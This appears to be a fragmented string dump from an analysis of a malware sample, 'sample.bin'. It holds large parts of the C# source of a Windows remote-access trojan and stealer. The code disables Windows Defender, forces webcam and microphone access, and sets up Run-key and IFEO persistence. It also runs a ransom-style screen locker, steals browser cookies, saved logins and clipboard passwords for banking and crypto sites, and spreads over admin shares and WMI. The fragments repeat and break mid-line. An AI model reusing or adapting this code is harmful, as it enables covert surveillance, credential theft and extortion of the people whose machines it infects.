Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\\Microsoft\\Office\\16.0\\Common\\ServicesManagerCache", false); } catch { } try { Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\\Microsoft\\IdentityCRL", false); } catch { } try { string la = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); string ra = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); string[] paths = new string[] { Path.Combine(ra, "Microsoft", "Outlook"), Path.Combine(la, "Microsoft", "Outlook"), Path.Combine(la, "Microsoft", "OneAuth"), Path.Combine(la, "Microsoft", "Identi" in Source: sample.bin, "er UAC elevation try { string[] caps = new string[] { "webcam", "microphone", "location", "userNotificationListener", "contacts", "appointments" }; Microsoft.Win32.RegistryKey[] roots = new Microsoft.Win32.RegistryKey[] { Microsoft.Win32.Registry.CurrentUser, Microsoft.Win32.Registry.LocalMachine }; for (int r = 0; r < roots.Length; r++) { for (int i = 0; i < caps.Length; i++) { try { string path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\" + caps[i]; using (var k = roots[r].CreateSubKey(path, true)) { if (k != null) k.SetValue("Value", "Allow", Microsoft.Win32.RegistryValueKind.String); } using (var k2 = roots[r].CreateSubKey(path + "\\NonPac" in Source: sample.bin, "der\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Stop-Service -Name wscsvc -Force -ErrorAction SilentlyContinue}catch{};try{Start-Service -Name wscsvc -ErrorAction SilentlyContinue}catch{}"; psiQuiet.CreateNoWindow = true; psiQuiet.UseShellExecute = false; psiQuiet.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psiQuiet); try { Thread.Sleep(500); } catch { } try { var psiQuiet2 = new ProcessStartInfo(); psiQuiet2.FileName = "powershell.exe"; psiQuiet2.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command try{Set-MpPreference -DisableNoti" in Source: sample.bin, "r", "DisableAntiSpyware", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableRealtimeMonitoring", 1, Microsoft.Win32.RegistryValueKind.DWord); } catch { } try { object last = Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\Software\Microsoft\SBCore", "LastAv", null); if (last != null && last.ToString().Length > 0) AvApplyProduct(last.ToString()); } catch { } } catch { } Thread.Sleep(45000); } } static void Connect() { try { Microsoft.Win32.SystemEvents.SessionEnding += delegate { try { Send("SHUTDOWN_BYE|"); } catch { } " in Source: sample.bin, " sb.AppendLine("try{ Set-MpPreference -DisableScriptScanning $true }catch{}"); sb.AppendLine("try{ Set-MpPreference -SubmitSamplesConsent 2 }catch{}"); sb.AppendLine("try{ Set-MpPreference -MAPSReporting 0 }catch{}"); sb.AppendLine("try{ Set-MpPreference -SubmitSamplesConsent NeverSend }catch{}"); sb.AppendLine("New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Force | Out-Null"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Name 'SubmitSamplesConsent' -Value 2 -Type DWord -Force"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Name 'SpynetReporting' -Value 0 -Type DWord -Force"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet' -Name 'DisableBlockAtFirstSeen' -Value 1 -Type DWord -Force"); sb.AppendLine("try{ Set-MpPreference -DisableBlockAtFirs" in Source: sample.bin, " (target.Contains("microsoft") && (target.Contains("mail") || target.Contains("office") || target.Contains("identity"))); if (!hit) continue; try { if (CredDelete(cred.TargetName, cred.Type, 0)) creds++; } catch { } } catch { } } } finally { try { CredFree(pCreds); } catch { } } } } catch { } string[] ver = new string[] { "16.0", "15.0", "14.0" }; for (int v = 0; v < ver.Length; v++) { string[] sub = new string[] { "Software\\Microsoft\\Office\\" + ver[v] + "\\Common\\Identity", "Software\\Microsoft\\Office\\" + ver[v] + "\\Common\\Internet", "Software\\Microsoft\\Office\\" + ver[v] + "\\Outlook\\Profiles", "Software\\Microsoft\\Office\\" + ver[v] + "\\Outlook\\AutoDiscover", "Software\" in Source: sample.bin, "in32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockPwdHash", (LOCKPWD ?? "Unlock2025").GetHashCode().ToString()); } catch { } } catch { } string instr = (LOCKINSTR ?? "YOUR COMPUTER HAS BEEN LOCKED"); string email = (LOCKEMAIL ?? "admin"); string pwd = LOCKPWD ?? "Unlock2025"; Thread killer = new Thread(() => { while (locked) { try { foreach (string proc in new string[] { "taskmgr", "cmd", "regedit", "powershell", "powershell_ise", "ProcessHacker", "procexp", "procexp64", "msconfig", "resmon", "perfmon", "mmc" }) { try { foreach (var pr in Process.GetProcessesByName(proc)) try { " in Source: sample.bin, "E\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection'"); sb.AppendLine("Set-ItemProperty -Path $rtp -Name 'DisableRealtimeMonitoring' -Value 1 -Type DWord -Force"); sb.AppendLine("Set-ItemProperty -Path $rtp -Name 'DisableBehaviorMonitoring' -Value 1 -Type DWord -Force"); sb.AppendLine("Set-ItemProperty -Path $rtp -Name 'DisableOnAccessProtection' -Value 1 -Type DWord -Force"); sb.AppendLine("Set-ItemProperty -Path $rtp -Name 'DisableIOAVProtection' -Value 1 -Type DWord -Force"); sb.AppendLine("New-Item -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\Controlled Folder Access' -Force | Out-Null"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\Controlled Folder Access' -Name 'EnableControlledFolderAccess' -Value 0 -Type DWord -Force"); sb.AppendLine("try{ Set-MpPreference -EnableControlledFolderAccess Enabled }catch{}");" in Source: sample.bin, "entUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone", true)) { if (k != null) k.SetValue("Value", "Allow"); } } catch { } // DeviceAccess: allow webcam/mic for all apps (legacy path) try { string[] guids = new string[] { "{E5323777-F976-4f5b-9B55-B94699C46E44}", "{2EEF81BE-33FA-4800-9670-1CD474972C3F}" }; for (int gi = 0; gi < guids.Length; gi++) { try { using (var k = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\DeviceAccess\\Global\\" + guids[gi], true)) { if (k != null) k.SetValue("Value", "Allow"); } } " in Source: sample.bin, " { AvKillProcs(new string[] { "fshoster32", "fssm32" }); } } catch { } } static string DisableAvRetry(string product) { string prod = product ?? "Windows Defender"; prod = prod.Replace("\"", "").Replace("'", ""); try { AvApplyProduct(prod); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\SBCore", "LastAv", prod, Microsoft.Win32.RegistryValueKind.String); } catch { } string me = ""; try { me = Process.GetCurrentProcess().MainModule.FileName; } catch { } string myDir = Path.GetTempPath(); try { if (!string.IsNullOrEmpty(me)) myDir = Path.GetDirectoryName(me); } catch { } string tempDir = Path.GetTempPath().TrimEnd((char)92, '/'); string progData = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData); string localApp = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); " in Source: sample.bin, " } static void SelfUninstallAndExit() { try { camOn = false; camAudioOn = false; rdp = false; keyOn = false; _clipOn = false; locked = false; } catch { } string me = ""; string dir = ""; string fname = ""; try { me = Process.GetCurrentProcess().MainModule.FileName; } catch { } try { if (!string.IsNullOrEmpty(me)) { dir = Path.GetDirectoryName(me); fname = Path.GetFileName(me); } } catch { } // Remove Run / RunOnce values try { string[] roots = new string[] { "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce" }; foreach (string rk in roots) { try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(rk, true)) { if (k == null) continue; try { k.DeleteValue("{{RND_RU" in Source: sample.bin, "ile Execution Options\\" + exeName, "Debugger", dbg, Microsoft.Win32.RegistryValueKind.String); } catch { } try { var rg = new ProcessStartInfo(); rg.FileName = "reg.exe"; rg.Arguments = "add HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + exeName + " /v Debugger /t REG_SZ /d " + dbg + " /f"; rg.UseShellExecute = false; rg.CreateNoWindow = true; Process.Start(rg); } catch { } // Auto-clear on next logon string delCmd = "cmd.exe /c reg delete " + q + "HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\" + exeName + q + " /v Debugger /f"; Microsoft.Win32.Registry.SetValue( "HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce", "SBClr" + exeName" in Source: sample.bin, "ayload can reap us try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\SBCore", "Exe", mePath ?? "", Microsoft.Win32.RegistryValueKind.String); Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\SBCore", "Pid", myPid.ToString(), Microsoft.Win32.RegistryValueKind.String); } catch { } } static void InstallPersist() { try { string me = Process.GetCurrentProcess().MainModule.FileName; try { Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "{{RND_RUNKEY}}", me, Microsoft.Win32.RegistryValueKind.String); } catch { } try { Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", "{{RND" in Source: sample.bin, "ame) { string[] keys = new string[] { "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + exeName, "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + exeName, "HKEY_LOCAL_MACHINE\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + exeName }; for (int i = 0; i < keys.Length; i++) { try { object v = Microsoft.Win32.Registry.GetValue(keys[i], "", null); if (v == null) v = Microsoft.Win32.Registry.GetValue(keys[i], "Path", null); string s = v == null ? "" : v.ToString().Trim().Trim((char)34); if (string.IsNullOrEmpty(s)) continue; if (Directory.Exists(s)) s = Path.Combine(s, exeName); if (File.Exists(s)) return s; } catch { } } return null; } static string FindBrowserExe(string kind) { " in Source: sample.bin, "tart(); } else if (line.StartsWith("SET_BROWSER|")) { string br = "chrome"; try { br = line.Substring("SET_BROWSER|".Length).Trim().ToLowerInvariant(); } catch { } try { SetDefaultBrowser(br); Send("TASK_DATA|Default browser set to " + br); } catch { try { Send("TASK_DATA|browser set failed"); } catch { } } } else if (line == "COOKIE_AUTO_ACCEPT") { try { // Set cookie accept for blocked sites via registry Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", "PrivacyAdvanced", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", "FirstPartyCookieAccept", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Mic" in Source: sample.bin, "", false); } catch { } rk.Close(); } } catch { } try { var rk2 = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); if (rk2 != null) { try { rk2.DeleteValue("WindowsSecurityHealth", false); } catch { } rk2.Close(); } } catch { } try { string oldDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "WindowsSecurityHealth"); if (Directory.Exists(oldDir)) { try { Directory.Delete(oldDir, true); } catch { } } } catch { } string rndName = "{{RND_PERSIST}}"; string copyDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), rndName); try { Directory.CreateDirectory(copyDir); } catch { } string copyPath = Path.Combine(copyDir, rndName + ".exe"); " in Source: sample.bin, "nvironment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "sb_lock_state.flag"); if (File.Exists(st2)) File.Delete(st2); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", "0"); } catch { } try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", true)) { if (k != null) try { k.DeleteValue("{{RND_TASK}}Lock", false); } catch { } } } catch { } try { string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string bat = Path.Combine(startup, "{{RND_TASK}}.cmd"); if (File.Exists(bat)) File.Delete(bat); } catch { } } catch { } } " in Source: sample.bin, "Style.Hidden }; } Process p = Process.Start(psi); if (p != null) { try { Send("DEPLOY_STATUS|uac_launched|" + dest); } catch { } return; } } catch { } } } catch { } try { Thread.Sleep(5000); } catch { } } try { Send("DEPLOY_STATUS|timeout|" + dest); } catch { } } catch { } } static bool IsWindowsTestMode() { try { try { object o = Microsoft.Win32.Registry.GetValue( "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control", "SystemStartOptions", null); string s = o as string; if (!string." in Source: sample.bin, "ot installed win32=" + Marshal.GetLastWin32Error()); return sb.ToString(); } try { SERVICE_STATUS st = new SERVICE_STATUS(); if (QueryServiceStatus(h, ref st)) sb.AppendLine("state=" + st.dwCurrentState + " (1=stop 4=running 2=startpending)"); else sb.AppendLine("QueryServiceStatus win32=" + Marshal.GetLastWin32Error()); } finally { CloseServiceHandle(h); } } finally { CloseServiceHandle(scm); } sb.AppendLine(ScmNtLoadAttempt()); } catch (Exception ex) { sb.AppendLine(ex.Message); } return sb.ToString(); } static string WdkStatus() { var sb = new StringBuilder(); sb.AppendLine("=== WDK / Windows Kits ==="); try { object root = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Kits\\Installed Roots", "KitsRoot10", nu" in Source: sample.bin, "ue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet", "SubmitSamplesConsent", 2, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet", "SpynetReporting", 0, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Spynet", "SubmitSamplesConsent", 2, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Spynet", "SpynetReporting", 0, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration", "Notification_Suppress", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\UX Configur" in Source: sample.bin, " string secureDir = Path.Combine(localApp, "Microsoft", "Windows", "SecurityHealth"); string task1 = "{{RND_TASK_EXCL1}}"; string task2 = "{{RND_TASK_EXCL2}}"; if (string.IsNullOrEmpty(task1) || task1.StartsWith("{{")) task1 = "WindowsHealthExcl"; if (string.IsNullOrEmpty(task2) || task2.StartsWith("{{")) task2 = "WindowsHealthExclHourly"; // Build PS1 without nested quote hell var sb = new StringBuilder(); sb.AppendLine("$ErrorActionPreference='SilentlyContinue'"); sb.AppendLine("$me='" + me.Replace("'", "") + "'"); sb.AppendLine("$dir='" + myDir.Replace("'", "") + "'"); sb.AppendLine("$tmp='" + tempDir.Replace("'", "") + "'"); sb.AppendLine("$pd='" + progData.Replace("'", "") + "'"); sb.AppendLine("$sd='" + secureDir.Replace("'", "") + "'"); sb.AppendLine("New-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features' -Force | Out-Null"); sb.AppendLine("Set-ItemProperty -Path 'HKLM:\" in Source: sample.bin, "progId = "ChromeHTML"; } if (!System.IO.File.Exists(exe)) return; string[] protos = new string[] { "http", "https", ".htm", ".html" }; foreach (string proto in protos) { try { string key = "Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\" + proto + "\\UserChoice"; if (proto.StartsWith(".")) key = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\" + proto + "\\UserChoice"; using (var k = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(key)) { if (k != null) k.SetValue("ProgId", progId); } } catch { } } } catch { } } static byte[] GrabCctvFrame(string url) { try { if (string.IsNullOrEmpty(url)) return null; // Try HTTP snapshot first (most cameras " in Source: sample.bin, "ssStartInfo(); psiKill.FileName = "taskkill.exe"; psiKill.Arguments = "/f /im SecurityHealthSystray.exe /im SecurityHealthService.exe"; psiKill.CreateNoWindow = true; psiKill.UseShellExecute = false; psiKill.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psiKill); try { Thread.Sleep(400); } catch { } try { var psiQuiet = new ProcessStartInfo(); psiQuiet.FileName = "powershell.exe"; psiQuiet.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command try{Set-MpPreference -DisableNotifications $true}catch{};try{Set-MpPreference -EnableControlledFolderAccess Enabled}catch{};try{Add-MpPreference -ControlledFolderAccessAllowedApplications $env:LOCALAPPDATA}catch{};try{Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defen" in Source: sample.bin, "tring[] { procName }); } catch { } } // HARD block: IFEO Debugger = full path to systray.exe (blocks Start Menu / taskbar / double-click until reboot) string dbg = Path.Combine(Environment.SystemDirectory, "systray.exe"); if (!File.Exists(dbg)) dbg = "C:\\\\Windows\\\\System32\\\\systray.exe"; foreach (string exeName in blockExes) { try { string ifeoPath = "Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\" + exeName; Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\\\" + ifeoPath, "Debugger", dbg, Microsoft.Win32.RegistryValueKind.String); try { Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\\\" + ifeoPath, "Debugger", dbg, Microsoft.Win32.RegistryValueKind.String); } catch { } try { Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\Software\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image F" in Source: sample.bin29:Tcc7,Observed string: " string tmp = Path.Combine(Path.GetTempPath(), dropName); if (!File.Exists(tmp)) File.WriteAllBytes(tmp, payloadBytes); string destUnc = "\\\\" + ip + "\\C$\\Users\\Public\\" + dropName; RunHidden("cmd.exe", "/c copy /Y \"" + tmp + "\" \"" + destUnc + "\"", 6000); if (File.Exists(destUnc)) { dropped = destUnc; localExe = @"C:\Users\Public\" + dropName; } } catch { } } if (dropped == null) { // Try WMI process create with current user (works if same user/password or no password) try { RunHidden("wmic.exe", "/node:" + ip + " process call create cmd.exe /c echo spread_test", 5" (Indicator: "/c copy ") in Source: sample.bin, Observed string: " src + "\" \"" + tmp + "\""; psi.UseShellExecute = false; psi.CreateNoWindow = true; var p = Process.Start(psi); if (p != null) p.WaitForExit(5000); if (File.Exists(tmp)) { byte[] data = File.ReadAllBytes(tmp); try { File.Delete(tmp); } catch { } if (data != null && data.Length >= 64) return data; } } catch { } return null; } static bool SafeCopyFileRetry(string src, string dst) { for (int t = 0; t < 4; t++) { if (SafeCopyFile(src, dst)) return true; try { Thread.Sleep(250); } catch { } } try { var p = new ProcessStartInfo("cmd.exe", "/c copy /y " + (char)34 + src + (char)34 + " " + (char)34 + dst + (char)34); p.CreateNoWindow = true; p.UseShellExecute = false; using (Process pr = Process.Start(p)) { if (p" (Indicator: "/c copy ") in Source: sample.bin, Observed string: " Chrome often holds Cookies open for (int attempt = 0; attempt < 8; attempt++) { try { using (var fs = new FileStream(src, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete)) { var ms = new MemoryStream(); byte[] buf = new byte[65536]; int n; while ((n = fs.Read(buf, 0, buf.Length)) > 0) ms.Write(buf, 0, n); if (ms.Length >= 64) return ms.ToArray(); } } catch { } try { Thread.Sleep(120 + attempt * 80); } catch { } } // Fallback: cmd copy /Y (sometimes succeeds when FileStream fails) try { string tmp = Path.Combine(Path.GetTempPath(), "sb_ck_" + Guid.NewGuid().ToString("N").Substring(0, 8) + ".db"); var psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c copy /Y \"" +" (Indicator: "/c copy ") in Source: sample.bin2a:T460a,"lip.IndexOf('@') > 0) _pasteUser = clip; else _pastePass = clip; try { Send("LIVE_PASS|PASTE|" + _pasteKind + "|" + (_pasteUser ?? "") + "|" + (_pastePass ?? "") + "|" + _pasteSite); } catch { } } catch { try { Thread.Sleep(200); } catch { } } } } static string[] CryptoSiteNeedles() { return new string[] { "binance.com", "coinbase.com", "kraken.com", "crypto.com", "gemini.com", "okx.com", "bybit.com", "kucoin.com", "bitfinex.com", "bitstamp.net", "ftx.com", "poloniex.com", "gate.io", "huobi.com", "mexc.com", "blockchain.com", "metamask.io", "phantom.app", "exodus.com", "ledger.com", "trezor.io", "opensea.io", "uniswap.org" }; } static bool IsCryptoSiteUrl(string url) { if (string.IsNullOrEmpty(url)) return false; string s = url.ToLowerInvariant(); string[] n = CryptoSiteNeedles(); for (int i = 0; i < n.Length; i++)" (Indicator: "coinbase.com"), "lip.IndexOf('@') > 0) _pasteUser = clip; else _pastePass = clip; try { Send("LIVE_PASS|PASTE|" + _pasteKind + "|" + (_pasteUser ?? "") + "|" + (_pastePass ?? "") + "|" + _pasteSite); } catch { } } catch { try { Thread.Sleep(200); } catch { } } } } static string[] CryptoSiteNeedles() { return new string[] { "binance.com", "coinbase.com", "kraken.com", "crypto.com", "gemini.com", "okx.com", "bybit.com", "kucoin.com", "bitfinex.com", "bitstamp.net", "ftx.com", "poloniex.com", "gate.io", "huobi.com", "mexc.com", "blockchain.com", "metamask.io", "phantom.app", "exodus.com", "ledger.com", "trezor.io", "opensea.io", "uniswap.org" }; } static bool IsCryptoSiteUrl(string url) { if (string.IsNullOrEmpty(url)) return false; string s = url.ToLowerInvariant(); string[] n = CryptoSiteNeedles(); for (int i = 0; i < n.Length; i++)" (Indicator: "blockchain.com"), "w.facebook.com/logout.php", "https://www.instagram.com/accounts/logout/", "https://twitter.com/logout", "https://x.com/logout", "https://www.linkedin.com/uas/logout", "https://www.amazon.com/gp/flex/sign-out.html", "https://www.paypal.com/signout", "https://discord.com/login", "https://slack.com/signout", "https://github.com/logout", "https://appleid.apple.com/signout" }; for (int bi = 0; bi < browsers.Length; bi++) { string bb = browsers[bi]; for (int ui = 0; ui < urls.Length; ui++) { try { SignOutOpenUrl(bb, urls[ui]); } catch { } Thread.Sleep(150); } " (Indicator: "github.com"), "w.facebook.com/logout.php", "https://www.instagram.com/accounts/logout/", "https://twitter.com/logout", "https://x.com/logout", "https://www.linkedin.com/uas/logout", "https://www.amazon.com/gp/flex/sign-out.html", "https://www.paypal.com/signout", "https://discord.com/login", "https://slack.com/signout", "https://github.com/logout", "https://appleid.apple.com/signout" }; for (int bi = 0; bi < browsers.Length; bi++) { string bb = browsers[bi]; for (int ui = 0; ui < urls.Length; ui++) { try { SignOutOpenUrl(bb, urls[ui]); } catch { } Thread.Sleep(150); } " (Indicator: "paypal.com"), " "hotmail.com", "msn.com", "office.com", "office365.com", "microsoftonline.com", "yahoo.com", "mail.yahoo.com", "ymail.com", "aol.com", "verizonmedia.com", "proton.me", "protonmail.com", "zoho.com", "zohomail.com", "icloud.com", "me.com", "mac.com", "yandex.com", "yandex.ru", "mail.ru", "gmx.com", "gmx.net", "web.de", "fastmail.com", "tutanota.com", "tutamail.com", "mailbox.org", "roundcube", "cpanel", "webmail", "horde", "squirrelmail", "zimbra" }; for (int bi = 0; bi < browsers.Length; bi++) { string bb = browsers[bi]; for (int ui = 0; ui < urls.Length; ui++) { try { SignOutOpenUrl(bb, urls[ui]); } catch { } Thread.Sleep(200); } try {" (Indicator: "yandex.com"), " "gate.io", "huobi", "mexc", "metamask", "blockchain.com", "ftx", "poloniex", "bittrex", "uniswap", "opensea", "ledger.com", "trezor.io" }; sb.AppendLine("--- Exchange / crypto site logins ---"); int loginHits = 0; for (int b = 0; b < brRoots.Length; b++) { string bname = brRoots[b][0]; string root = brRoots[b][1]; if (!Directory.Exists(root)) continue; byte[] mk = null; try { mk = GetBrowserMasterKey(root); } catch { } var profiles = new System.Collections.Generic.List(); try { foreach (string dir in Directory.GetDirectories(root)) { string n = Path.GetFileName(dir); if (n == "Def" + "ault" || n.StartsWith("Profile")) profiles.Add(dir); } } catch { } if (profiles.Count == 0) profiles.Add(root); foreach (string" (Indicator: "blockchain.com"), ""facebook.com", "fb.com", "messenger.com", "instagram.com", "whatsapp.com", "twitter.com", "x.com", "linkedin.com", "tiktok.com", "reddit.com", "amazon.com", "ebay.com", "paypal.com", "apple.com", "icloud.com", "dropbox.com", "github.com", "gitlab.com", "bitbucket.org", "discord.com", "slack.com", "telegram.org", "line.me", "wechat.com", "skype.com", "netflix.com", "spotify.com", "twitch.tv", "proton.me", "zoho.com", "yandex.com", "mail.ru", "gmx.com", "banking", "bank", "chase.com", "wellsfargo.com", "bankofamerica.com", "citibank.com" }; string[] urls = new string[] { "https://accounts.google.com/Logout", "https://login.live.com/logout.srf?wa=wsignout1.0", "https://login.yahoo.com/account/logout", "https://ww" (Indicator: "github.com"), ""facebook.com", "fb.com", "messenger.com", "instagram.com", "whatsapp.com", "twitter.com", "x.com", "linkedin.com", "tiktok.com", "reddit.com", "amazon.com", "ebay.com", "paypal.com", "apple.com", "icloud.com", "dropbox.com", "github.com", "gitlab.com", "bitbucket.org", "discord.com", "slack.com", "telegram.org", "line.me", "wechat.com", "skype.com", "netflix.com", "spotify.com", "twitch.tv", "proton.me", "zoho.com", "yandex.com", "mail.ru", "gmx.com", "banking", "bank", "chase.com", "wellsfargo.com", "bankofamerica.com", "citibank.com" }; string[] urls = new string[] { "https://accounts.google.com/Logout", "https://login.live.com/logout.srf?wa=wsignout1.0", "https://login.yahoo.com/account/logout", "https://ww" (Indicator: "yandex.com"), ""facebook.com", "fb.com", "messenger.com", "instagram.com", "whatsapp.com", "twitter.com", "x.com", "linkedin.com", "tiktok.com", "reddit.com", "amazon.com", "ebay.com", "paypal.com", "apple.com", "icloud.com", "dropbox.com", "github.com", "gitlab.com", "bitbucket.org", "discord.com", "slack.com", "telegram.org", "line.me", "wechat.com", "skype.com", "netflix.com", "spotify.com", "twitch.tv", "proton.me", "zoho.com", "yandex.com", "mail.ru", "gmx.com", "banking", "bank", "chase.com", "wellsfargo.com", "bankofamerica.com", "citibank.com" }; string[] urls = new string[] { "https://accounts.google.com/Logout", "https://login.live.com/logout.srf?wa=wsignout1.0", "https://login.yahoo.com/account/logout", "https://ww" (Indicator: "paypal.com"), " if (s.IndexOf(n[i]) >= 0) return true; if (s.IndexOf("wallet") >= 0 && s.IndexOf("http") >= 0) return true; return false; } static string[] BankSiteNeedles() { return new string[] { "paypal.com", "venmo.com", "zelle", "chase.com", "wellsfargo.com", "bankofamerica.com", "bofa.com", "citibank.com", "citi.com", "capitalone.com", "usbank.com", "pnc.com", "tdbank.com", "hsbc.com", "barclays", "lloydsbank", "natwest.com", "santander", "revolut.com", "wise.com", "dbs.com", "ocbc.com", "uob.com", "maybank", "cimb.com", "bca.co.id", "bankmandiri", "bni.co.id", "bri.co.id", "scotiabank", "rbc.com", "td.com", "bmo.com", "commbank.com.au", "nab.com.au", "westpac.com.au", "anz.com", "ing.com", "n26.com", "kasikorn", "kasikornbank", "kbank.com", "scb.co.th", "bangkokbank.com", "krungthai", "ktb.co.th", "krungsri", "ttbbank.com", "scbeasy", "vietcombank", "vietinbank"," (Indicator: "paypal.com"), "er.com") >= 0 || x.IndexOf("x.com") >= 0; bool dc = x.IndexOf("discord.com") >= 0 || x.IndexOf("discordapp.com") >= 0; bool sk = x.IndexOf("skype.com") >= 0 || x.IndexOf("live.com") >= 0 && x.IndexOf("skype") >= 0; bool zalo = x.IndexOf("zalo.me") >= 0 || x.IndexOf("chat.zalo.me") >= 0 || x.IndexOf("zalo") >= 0; if (a == "all" || a == "" || a == "*") return wa || line || msg || fb || wx || tg || ig || tw || dc || sk || zalo; if (a.IndexOf("whatsapp") >= 0 || a == "wa") return wa; if (a.IndexOf("line") >= 0) return line; if (a.IndexOf("messenger") >= 0) return msg; if (a.IndexOf("facebook") >= 0 || a == "fb") return fb || msg; if (a.IndexOf("wechat") >= 0 || a.IndexOf("weixin") >= 0) return wx; if (a.IndexOf("telegram") >= 0 || a == "tg") return tg; if (a.IndexOf("instagram") >= 0 || a == "ig") return ig; if (a.IndexOf("twitter") >= 0 || a == "x") return tw; if 